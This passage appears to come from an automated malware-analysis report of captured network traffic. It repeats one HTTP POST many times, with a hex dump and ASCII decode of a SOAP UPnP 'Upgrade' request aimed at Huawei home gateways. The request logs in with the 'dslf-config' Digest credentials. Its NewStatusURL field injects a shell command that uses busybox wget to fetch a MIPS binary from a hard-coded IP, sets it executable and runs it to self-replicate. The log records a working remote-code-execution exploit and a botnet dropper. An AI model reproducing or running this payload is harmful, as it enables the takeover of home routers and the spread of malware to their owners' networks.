63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 